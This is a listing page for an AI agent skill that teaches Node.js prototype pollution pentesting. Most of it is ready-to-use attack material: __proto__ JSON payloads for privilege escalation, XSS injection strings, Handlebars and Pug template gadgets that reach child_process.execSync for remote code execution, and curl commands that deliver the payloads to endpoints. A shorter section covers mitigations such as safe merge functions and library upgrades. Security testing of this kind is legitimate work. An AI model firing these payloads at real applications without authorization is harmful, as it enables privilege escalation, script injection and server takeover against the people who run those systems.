# Nodejs Prototype Pollution Pentest

> How to identify and exploit prototype pollution vulnerabilities in Node.js applications. Use this skill whenever the user mentions prototype pollution, __proto__, Object.prototype, JavaScript prototype attacks, Node.js deserialization vulnerabilities, or wants to test for prototype pollution in web applications. Also trigger when users ask about CVE-2019-11358, CVE-2018-3721, CVE-2019-10744, jQuery extend vulnerabilities, lodash prototype pollution, Handlebars/Pug template injection, or any JavaScript object manipulation attacks.

- Skill: `abelrguezr/nodejs-prototype-pollution-pentest` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/nodejs-prototype-pollution-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/nodejs-prototype-pollution-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/nodejs-prototype-pollution-pentest

---


# Node.js Prototype Pollution Pentesting

A comprehensive guide for identifying and exploiting prototype pollution vulnerabilities in Node.js applications.

## What is Prototype Pollution?

Prototype pollution is a JavaScript vulnerability where an attacker can modify the `Object.prototype` or other object prototypes, affecting all objects that inherit from them. This can lead to:

- **Denial of Service (DoS)** - Adding properties that break application logic
- **Remote Code Execution (RCE)** - Injecting code through template engines
- **Privilege Escalation** - Setting `admin: true` on all user objects
- **Cross-Site Scripting (XSS)** - Polluting HTML element properties

## When to Use This Skill

Use this skill when:
- Testing Node.js applications for prototype pollution
- Analyzing deserialization vulnerabilities
- Investigating jQuery, lodash, or other library vulnerabilities
- Testing template engines (Handlebars, Pug, EJS)
- Reviewing code that uses recursive merge functions
- Analyzing JSON input handling

## Quick Reference: Attack Vectors

### 1. Direct Object.prototype Pollution

```javascript
// Pollute Object.prototype directly
Object.prototype.isAdmin = true
Object.prototype.toString = () => { alert("polluted") }

// Via __proto__
Object.assign({}, { __proto__: { isAdmin: true } })

// Via constructor
({}).constructor.prototype.isAdmin = true
```

### 2. Constructor Prototype Pollution

```javascript
// Pollute specific constructor
Vehicle.prototype.beep = function() { console.log("beep") }

// Via constructor.prototype
example.constructor.prototype.greet = function() { console.log("hello") }
```

### 3. Array Index Pollution

```javascript
// Pollute array by index
a = []
a.constructor.prototype[1] = "yolo"
b = []
console.log(b[1]) // "yolo"
```

### 4. HTML Element Pollution (Client-side XSS)

```javascript
// Pollute innerHTML
settings[root][innerHTML] = "<svg onload=alert(1)>"

// Pollute ownerDocument to prevent overwrites
settings[root][ownerDocument][body][innerHTML] = "<svg onload=alert(document.domain)>"
```

## Common Vulnerable Libraries

### jQuery (CVE-2019-11358)

```javascript
// Vulnerable code
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // true

// Test payload
{
  "__proto__": {
    "isAdmin": true,
    "devMode": true
  }
}
```

### Lodash (CVE-2018-3721, CVE-2019-10744)

```javascript
// Vulnerable in versions < 4.17.11
_.merge({}, { __proto__: { admin: true } })
_.defaults({}, { __proto__: { admin: true } })
_.assign({}, { __proto__: { admin: true } })

// Test payload
{
  "__proto__": {
    "admin": true,
    "role": "administrator"
  }
}
```

### Handlebars Template Engine

```javascript
// AST-based pollution for RCE
Object.prototype.type = "Program"
Object.prototype.body = [
  {
    type: "MustacheStatement",
    path: 0,
    params: [
      {
        type: "NumberLiteral",
        value: "console.log(process.mainModule.require('child_process').execSync('id').toString())"
      }
    ],
    loc: { start: 0, end: 0 }
  }
]

// HTTP payload
{
  "__proto__.type": "Program",
  "__proto__.body": [{
    "type": "MustacheStatement",
    "path": 0,
    "params": [{
      "type": "NumberLiteral",
      "value": "process.mainModule.require('child_process').execSync('id')"
    }],
    "loc": { "start": 0, "end": 0 }
  }]
}
```

### Pug Template Engine

```javascript
// AST-based pollution for RCE
{
  "__proto__.block": {
    "type": "Text",
    "line": "process.mainModule.require('child_process').execSync('id')"
  }
}
```

## Detection Techniques

### 1. Identify Vulnerable Patterns

Look for these code patterns:

```javascript
// Recursive merge functions
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key])
    } else {
      target[key] = source[key]
    }
  }
  return target
}

// Object.assign with __proto__
Object.assign({}, userInput)

// JSON.parse without validation
const data = JSON.parse(request.body)
```

### 2. Check for Prototype Access

```javascript
// Check if __proto__ is accessible
console.log({}.__proto__)

// Check if Object.prototype can be modified
Object.prototype.test = true
console.log({}.test) // true = vulnerable
```

### 3. Test Input Validation

```javascript
// Test various payload formats
{
  "__proto__": { "isAdmin": true }
}
{
  "constructor": { "prototype": { "isAdmin": true } }
}
{
  "__proto__": { "toString": "polluted" }
}
```

## Exploitation Workflow

### Step 1: Reconnaissance

1. **Identify the technology stack**
   - Check for Node.js, Express, Koa
   - Identify JavaScript libraries (jQuery, lodash, etc.)
   - Look for template engines (Handlebars, Pug, EJS)

2. **Find input vectors**
   - JSON API endpoints
   - Query parameters
   - POST body data
   - Cookie values
   - URL parameters

### Step 2: Initial Testing

```bash
# Test basic prototype pollution
curl -X POST http://target/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'

# Test constructor pollution
curl -X POST http://target/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"isAdmin":true}}}'

# Test with different encodings
curl -X POST http://target/api/endpoint \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"isAdmin":true}}'
```

### Step 3: Verify Pollution

```javascript
// Check if pollution worked
console.log({}.isAdmin) // Should be true if polluted

// Check for side effects
console.log({}.toString) // Should be function if not polluted
```

### Step 4: Exploit the Vulnerability

```javascript
// Privilege escalation
Object.prototype.isAdmin = true
Object.prototype.role = "admin"

// DoS
Object.prototype.toString = () => { throw new Error("DoS") }

// RCE via template engines
Object.prototype.type = "Program"
Object.prototype.body = [{
  type: "MustacheStatement",
  path: 0,
  params: [{
    type: "NumberLiteral",
    value: "require('child_process').execSync('id')"
  }]
}]
```

## Automated Testing Scripts

Use the bundled scripts for automated testing:

- `scripts/generate-pollution-payloads.js` - Generate various prototype pollution payloads
- `scripts/test-endpoint.js` - Test endpoints for prototype pollution
- `scripts/check-library-versions.js` - Check for vulnerable library versions

## Mitigation Strategies

### For Developers

1. **Freeze Object.prototype**
   ```javascript
   Object.freeze(Object.prototype)
   ```

2. **Use Object.create(null)**
   ```javascript
   const safeObject = Object.create(null)
   ```

3. **Validate Input**
   ```javascript
   function safeMerge(target, source) {
     for (let key in source) {
       if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
         continue
       }
       if (typeof source[key] === 'object') {
         target[key] = safeMerge(target[key] || {}, source[key])
       } else {
         target[key] = source[key]
       }
     }
     return target
   }
   ```

4. **Use Map instead of Object**
   ```javascript
   const data = new Map()
   data.set('key', 'value')
   ```

5. **Update Libraries**
   - lodash >= 4.17.11
   - jQuery >= 3.4.0
   - flat >= 3.0.0

### For Pentesters

1. **Use detection tools**
   - Server-Side-Prototype-Pollution-Gadgets-Scanner (Burp Suite)
   - server-side-prototype-pollution (Burp Suite)

2. **Check for known CVEs**
   - CVE-2019-11358 (jQuery)
   - CVE-2018-3721, CVE-2019-10744 (lodash)
   - CVE-2019-7609 (Kibana)

3. **Test edge cases**
   - Different encodings
   - Nested objects
   - Array indices
   - Constructor chains

## References

- [PortSwigger Research - Server-Side Prototype Pollution](https://portswigger.net/research/server-side-prototype-pollution)
- [KTH LangSec - Server-Side Prototype Pollution Gadgets](https://github.com/KTH-LangSec/server-side-prototype-pollution)
- [Doyensec - Prototype Pollution Gadgets Scanner](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner)
- [Node.js Prototype Pollution Paper](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)

## Next Steps

After identifying a prototype pollution vulnerability:

1. **Document the finding** - Include proof of concept
2. **Assess impact** - Determine what can be achieved
3. **Test for RCE** - Try template engine exploitation
4. **Check for privilege escalation** - Test admin flags
5. **Look for chainable vulnerabilities** - Combine with other issues

Use the scripts in this skill package to automate testing and generate payloads for your specific target.

